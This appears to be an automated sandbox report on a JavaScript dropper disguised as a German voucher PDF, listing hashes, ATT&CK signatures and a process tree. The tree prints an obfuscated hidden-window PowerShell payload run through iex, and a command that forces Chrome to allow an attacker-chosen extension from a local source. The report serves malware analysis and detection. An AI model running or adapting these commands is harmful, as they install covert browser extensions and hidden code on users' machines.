5ccc6fc748ddaec5fb8cae462eb2537d8bb294beaa28b1109ffb4752e7beb246

Analysis

max time kernel
148s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/06/2026, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Gutschein_Zertifikat12174.pfd.js
Size 3.4MB
Sample260624-pr5vvab16x
SHA256 5ccc6fc748ddaec5fb8cae462eb2537d8bb294beaa28b1109ffb4752e7beb246
MD5 b7e18d1ffbf5f1bb913f7f9c3356335a
SHA1 f5fc18132ebd0e1af781897d0db4222de009c2e6
SHA512 6d59c406437c0d5cd03909bd44e46701bf9551cc73c3cdff4aa979886cea86eee833c7ac4cd08dcccec2b414e43cb0f7a5af69a18d404d755a13b7ab5efd3189
SSDEEP 1536:zk50qPOaGgT72QuhcJ/McDJaVhc0/PDZZ3NLt5rYn/zaC82AsgkIS0apW8oqOVRg:O
TLSH
T1F1F5CEA30384076AA3E4CFE580943117A4F9D56B3D3521A9BBC366D7FC2BC5A5878B31
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1920	powershell.exe
5328	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
572	client_124578.exe

Loads dropped DLL 1 IoCs

pid	Process
572	client_124578.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client_124578.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2748	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134267781023809596"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
5328	powershell.exe
5328	powershell.exe
1920	powershell.exe
5740	chrome.exe
5740	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

pid	Process
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe
Token: SeShutdownPrivilege	5740	chrome.exe
Token: SeCreatePagefilePrivilege	5740	chrome.exe

Suspicious use of FindShellTrayWindow 47 IoCs

pid	Process
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe
5740	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5848 wrote to memory of 572	5848	wscript.exe	88
PID 572 wrote to memory of 1920	572	client_124578.exe	89
PID 1920 wrote to memory of 6048	1920	powershell.exe	91
PID 6048 wrote to memory of 4764	6048	csc.exe	92
PID 1920 wrote to memory of 5328	1920	powershell.exe	93
PID 1920 wrote to memory of 5740	1920	powershell.exe	95
PID 5740 wrote to memory of 4472	5740	chrome.exe	96
PID 5740 wrote to memory of 2748	5740	chrome.exe	97
PID 5740 wrote to memory of 4276	5740	chrome.exe	98
PID 5740 wrote to memory of 4276	5740	chrome.exe	98
PID 5740 wrote to memory of 1872	5740	chrome.exe	99
PID 5740 wrote to memory of 1872	5740	chrome.exe	99
PID 5740 wrote to memory of 5424	5740	chrome.exe	101
PID 5740 wrote to memory of 2828	5740	chrome.exe	102
PID 5740 wrote to memory of 5424	5740	chrome.exe	101
PID 5740 wrote to memory of 2828	5740	chrome.exe	102
PID 5740 wrote to memory of 5040	5740	chrome.exe	103
PID 5740 wrote to memory of 5040	5740	chrome.exe	103
PID 5740 wrote to memory of 1196	5740	chrome.exe	104
PID 5740 wrote to memory of 3252	5740	chrome.exe	105
PID 5740 wrote to memory of 3252	5740	chrome.exe	105
PID 5740 wrote to memory of 3668	5740	chrome.exe	106
PID 5740 wrote to memory of 3668	5740	chrome.exe	106
PID 5740 wrote to memory of 4916	5740	chrome.exe	107
PID 5740 wrote to memory of 1924	5740	chrome.exe	108
PID 5740 wrote to memory of 3452	5740	chrome.exe	109
PID 5740 wrote to memory of 1924	5740	chrome.exe	108
PID 5740 wrote to memory of 3452	5740	chrome.exe	109
PID 5740 wrote to memory of 4496	5740	chrome.exe	111
PID 5740 wrote to memory of 4496	5740	chrome.exe	111
PID 5740 wrote to memory of 6056	5740	chrome.exe	112
PID 5740 wrote to memory of 6056	5740	chrome.exe	112
PID 5740 wrote to memory of 992	5740	chrome.exe	113
PID 5740 wrote to memory of 992	5740	chrome.exe	113
PID 5740 wrote to memory of 4476	5740	chrome.exe	116
PID 5740 wrote to memory of 4476	5740	chrome.exe	116
PID 5740 wrote to memory of 5528	5740	chrome.exe	117
PID 5740 wrote to memory of 5528	5740	chrome.exe	117
PID 5740 wrote to memory of 5836	5740	chrome.exe	118
PID 5740 wrote to memory of 5412	5740	chrome.exe	119
PID 5740 wrote to memory of 5836	5740	chrome.exe	118
PID 5740 wrote to memory of 2196	5740	chrome.exe	120
PID 5740 wrote to memory of 3404	5740	chrome.exe	122
PID 5740 wrote to memory of 5412	5740	chrome.exe	119
PID 5740 wrote to memory of 1160	5740	chrome.exe	121
PID 5740 wrote to memory of 2196	5740	chrome.exe	120
PID 5740 wrote to memory of 3404	5740	chrome.exe	122
PID 5740 wrote to memory of 1160	5740	chrome.exe	121
PID 5740 wrote to memory of 1156	5740	chrome.exe	123
PID 5740 wrote to memory of 4628	5740	chrome.exe	124
PID 5740 wrote to memory of 5812	5740	chrome.exe	126
PID 5740 wrote to memory of 1156	5740	chrome.exe	123
PID 5740 wrote to memory of 3744	5740	chrome.exe	125
PID 5740 wrote to memory of 4628	5740	chrome.exe	124
PID 5740 wrote to memory of 5812	5740	chrome.exe	126
PID 5740 wrote to memory of 3744	5740	chrome.exe	125
PID 5740 wrote to memory of 1740	5740	chrome.exe	127
PID 5740 wrote to memory of 6128	5740	chrome.exe	128
PID 5740 wrote to memory of 1740	5740	chrome.exe	127
PID 5740 wrote to memory of 6128	5740	chrome.exe	128
PID 5740 wrote to memory of 1980	5740	chrome.exe	129
PID 5740 wrote to memory of 1980	5740	chrome.exe	129
PID 5740 wrote to memory of 692	5740	chrome.exe	130
PID 5740 wrote to memory of 692	5740	chrome.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Gutschein_Zertifikat12174.pfd.js
1⤵
- Suspicious use of WriteProcessMemory
PID:5848
- C:\Users\Admin\AppData\Local\Temp\client_124578.exe
  C:\Users\Admin\AppData\Local\Temp\client_124578.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:572
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -c "iex([char[]]((110-8),(125-8),(114-4),(106-7),(125-9),(111-6),(112-1),(119-9),(39-7),(119-1),(127-5),(104-5),(104-7),(102-5),(119-5),(129-9),(109-2),(97-7),(105-8),(40-8),(125-2),(39-7),(116-4),(105-8),(119-5),(102-5),(117-8),(39-7),(41-1),(100-9),(118-3),(120-4),(118-4),(111-6),(114-4),(109-6),(102-9),(37-1),(118-3),(121-5),(117-3),(51-7),(100-9),(119-4),(118-2),(117-3),(114-9),(114-4),(106-3),(99-6),(37-1),(83-8),(107-6),(130-9),(48-7),(63-4),(42-6),(72-6),(122-1),(124-8),(104-3),(66-1),(120-6),(119-5),(102-5),(123-2),(37-5),(62-1),(37-5),(94-3),(86-3),(122-1),(123-8),(117-1),(108-7),(118-9),(51-5),(71-4),(113-2),(116-6),(123-5),(103-2),(121-7),(119-3),(94-1),(67-9),(60-2),(79-9),(122-8),(120-9),(112-3),(75-9),(98-1),(116-1),(106-5),(57-3),(58-6),(87-4),(119-3),(118-4),(107-2),(112-2),(112-9),(42-2),(43-7),(118-3),(122-6),(117-3),(49-8),(61-2),(42-6),(110-3),(108-7),(124-3),(75-9),(122-1),(119-3),(102-1),(120-5),(39-7),(62-1),(33-1),(99-8),(88-5),(130-9),(120-5),(118-2),(109-8),(112-3),(55-9),(86-2),(108-7),(126-6),(118-2),(47-1),(72-3),(115-5),(106-7),(120-9),(103-3),(113-8),(114-4),(109-6),(100-7),(64-6),(64-6),(86-1),(93-9),(75-5),(61-5),(47-1),(73-2),(103-2),(117-1),(69-3),(125-4),(125-9),(108-7),(119-4),(47-7),(94-3),(84-1),(126-5),(116-1),(120-4),(110-9),(114-5),(50-4),(69-3),(110-5),(121-5),(73-6),(113-2),(113-3),(124-6),(105-4),(117-3),(123-7),(108-7),(120-6),(100-7),(62-4),(62-4),(92-8),(120-9),(86-3),(121-5),(120-6),(107-2),(119-9),(109-6),(45-5),(95-4),(85-2),(125-4),(121-6),(124-8),(105-4),(112-3),(50-4),(92-9),(104-3),(108-9),(122-5),(119-5),(106-1),(125-9),(123-2),(50-4),(76-9),(122-8),(124-3),(118-6),(121-5),(118-7),(107-4),(115-1),(98-1),(117-5),(108-4),(122-1),(52-6),(77-5),(105-8),(117-2),(106-2),(69-4),(110-2),(105-2),(115-4),(119-5),(114-9),(122-6),(108-4),(115-6),(100-7),(59-1),(66-8),(72-5),(121-7),(105-4),(100-3),(123-7),(110-9),(47-7),(40-6),(79-2),(75-7),(56-3),(41-7),(43-2),(49-3),(75-8),(118-7),(113-4),(118-6),(124-7),(118-2),(106-5),(75-3),(103-6),(117-2),(107-3),(42-2),(99-8),(90-7),(126-5),(122-7),(118-2),(106-5),(112-3),(47-1),(86-2),(105-4),(124-4),(125-9),(53-7),(72-3),(113-3),(100-1),(116-5),(103-3),(108-3),(116-6),(111-8),(94-1),(67-9),(65-7),(91-6),(85-1),(76-6),(57-1),(51-5),(74-3),(110-9),(118-2),(71-5),(127-6),(118-2),(107-6),(124-9),(45-5),(38-2),(115-8),(103-2),(130-9),(48-7),(42-1),(44-3),(53-8),(117-3),(103-2),(121-9),(109-1),(106-9),(108-9),(110-9),(35-1),(50-5),(41-7),(42-1),(62-3),(43-7),(108-1),(115-7),(70-9),(42-6),(109-2),(104-3),(126-5),(71-5),(124-3),(125-9),(102-1),(124-9),(53-7),(72-5),(118-7),(121-4),(118-8),(120-4),(61-2),(38-2),(115-1),(102-1),(121-6),(122-5),(116-8),(118-2),(36-4),(65-4),(37-5),(87-9),(102-1),(127-8),(47-2),(85-6),(101-3),(114-8),(108-7),(106-7),(120-4),(39-7),(70-4),(129-8),(125-9),(109-8),(96-5),(101-8),(39-7),(38-2),(74-8),(128-7),(119-3),(109-8),(67-2),(117-3),(121-7),(101-4),(122-1),(50-4),(71-4),(119-8),(119-2),(118-8),(124-8),(68-9),(107-5),(112-1),(123-9),(33-1),(47-7),(45-9),(114-9),(36-4),(67-6),(34-2),(52-4),(63-4),(34-2),(43-7),(111-6),(37-5),(49-4),(117-9),(117-1),(39-7),(39-3),(67-1),(122-1),(123-7),(104-3),(72-7),(117-3),(119-5),(106-9),(127-6),(54-8),(70-3),(112-1),(119-2),(116-6),(118-2),(67-8),(41-9),(41-5),(112-7),(48-5),(44-1),(46-5),(39-7),(125-2),(33-1),(39-3),(122-8),(109-8),(116-1),(121-4),(112-4),(124-8),(98-7),(42-6),(110-5),(97-4),(41-9),(66-5),(40-8),(38-2),(70-4),(123-2),(120-4),(108-7),(72-7),(120-6),(120-6),(106-9),(123-2),(94-3),(37-1),(108-3),(101-8),(37-5),(52-7),(103-5),(121-1),(119-8),(121-7),(38-6),(45-9),(108-1),(103-2),(122-1),(71-5),(123-2),(119-3),(105-4),(120-5),(95-4),(44-8),(113-8),(38-6),(38-1),(39-7),(42-6),(114-7),(111-3),(102-9),(66-7),(129-4),(64-5),(122-8),(103-2),(117-1),(126-9),(120-6),(117-7),(37-5),(44-8),(118-4),(108-7),(124-9),(121-4),(114-6),(117-1),(61-2),(126-1),(63-4),(45-9),(116-9),(69-8),(40-6),(52-3),(52-2),(53-1),(54-1),(63-8),(57-1),(36-2),(65-6),(41-5),(100-3),(63-2),(44-4),(46-6),(78-7),(106-5),(117-1),(53-8),(73-6),(120-9),(118-8),(121-5),(109-8),(113-3),(125-9),(40-8),(53-8),(86-6),(100-3),(125-9),(110-6),(36-4),(49-9),(47-7),(80-9),(105-4),(118-2),(51-6),(76-9),(106-2),(107-2),(110-2),(109-9),(79-6),(123-7),(107-6),(113-4),(38-6),(51-6),(73-5),(106-5),(117-5),(124-8),(111-7),(38-6),(58-9),(36-4),(53-8),(73-3),(110-5),(111-3),(118-2),(105-4),(123-9),(41-9),(38-4),(109-9),(56-5),(104-4),(54-5),(55-6),(49-3),(107-7),(114-6),(111-3),(36-2),(37-5),(54-9),(73-3),(114-9),(116-8),(106-5),(49-8),(55-9),(74-4),(122-5),(113-5),(109-1),(87-9),(99-2),(111-2),(107-6),(45-4),(37-5),(49-4),(88-6),(104-7),(126-7),(50-9),(36-4),(51-6),(120-5),(116-4),(116-8),(110-5),(125-9),(40-8),(38-2),(111-4),(49-8),(92-1),(56-7),(98-5),(64-5),(37-1),(114-8),(113-7),(64-3),(43-3),(44-4),(76-5),(109-8),(117-1),(53-8),(81-1),(121-7),(114-3),(108-9),(104-3),(118-3),(119-4),(41-9),(41-7),(51-9),(39-3),(114-7),(47-5),(38-4),(50-9),(100-9),(51-3),(95-2),(51-5),(87-7),(122-8),(112-1),(105-6),(109-8),(124-9),(119-4),(84-6),(103-6),(113-4),(104-3),(42-1),(50-7),(41-7),(57-8),(53-3),(57-5),(54-1),(63-8),(64-8),(39-5),(65-6),(42-6),(107-9),(66-5),(94-3),(90-7),(129-8),(121-6),(120-4),(106-5),(118-9),(53-7),(86-2),(105-4),(121-1),(122-6),(53-7),(71-2),(115-5),(105-6),(116-5),(105-5),(113-8),(112-2),(104-1),(94-1),(59-1),(61-3),(90-5),(87-3),(73-3),(60-4),(47-1),(77-6),(102-1),(118-2),(91-8),(117-1),(118-4),(108-3),(117-7),(108-5),(45-5),(43-3),(126-8),(129-7),(108-9),(103-6),(103-6),(121-7),(129-9),(112-5),(95-5),(105-8),(36-4),(54-9),(124-9),(121-5),(118-4),(40-8),(38-2),(99-2),(34-2),(54-9),(112-5),(103-2),(129-8),(38-6),(41-5),(110-4),(108-2),(45-4),(48-7),(67-8),(113-8),(103-2),(123-3),(37-5),(38-2),(106-8),(61-2),(86-3),(122-6),(99-2),(120-6),(120-4),(47-2),(85-2),(109-1),(108-7),(103-2),(121-9),(39-7),(54-9),(79-2),(111-6),(114-6),(113-5),(113-8),(124-9),(109-8),(102-3),(120-9),(111-1),(104-4),(122-7),(33-1),(58-7),(51-3),(53-5),(65-6))-join'')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c30vlic5\c30vlic5.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6048
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES381.tmp" "c:\Users\Admin\AppData\Local\Temp\c30vlic5\CSC8C09664CD814843A9965B3BBE96922.TMP"
        5⤵
        
        PID:4764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "New-Item HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist -Force -ErrorAction Ignore;New-Item HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources -Force -ErrorAction Ignore;Set-ItemProperty HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist '1' 'gghagmhimhgfeajfdmjkgmmehbokmglg' -Force -ErrorAction Ignore;Set-ItemProperty HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources '1' 'http://localhost:8080/*' -Force -ErrorAction Ignore;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5328
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --args --app=http://localhost:8080/CloudFlareTesting http://localhost:8080/CloudFlareTesting
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:5740
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff533ac728,0x7fff533ac734,0x7fff533ac740
        5⤵
        
        PID:4472
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1492,i,7581770524766121761,12312196031604708787,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2748
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,9708134000878921260,5913770328714155833,262144 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=1824 /prefetch:2
        5⤵
        
        PID:4276
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2344,i,10421975149586200186,14430620461270731944,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:13
        5⤵
        
        PID:1872
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,13793114604727143053,14593515192494043434,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:1
        5⤵
        
        PID:5424
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,1881765988268345295,3070475841577497161,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:1
        5⤵
        
        PID:2828
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4652,i,13330375358207945780,8698685151352184829,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:14
        5⤵
        
        PID:5040
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4704,i,14457464823522904573,5342844802279803470,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14
        5⤵
        
        PID:1196
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5468,i,13118311137996823504,2946853413199689720,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
        5⤵
        
        PID:3252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5516,i,15299112177005479939,2511685522415941549,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
        5⤵
        
        PID:3668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5600,i,10625632252223055873,14175588749428150333,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
        5⤵
        
        PID:4916
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5660,i,7465995201502863662,8916239527608595374,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:1
        5⤵
        
        PID:1924
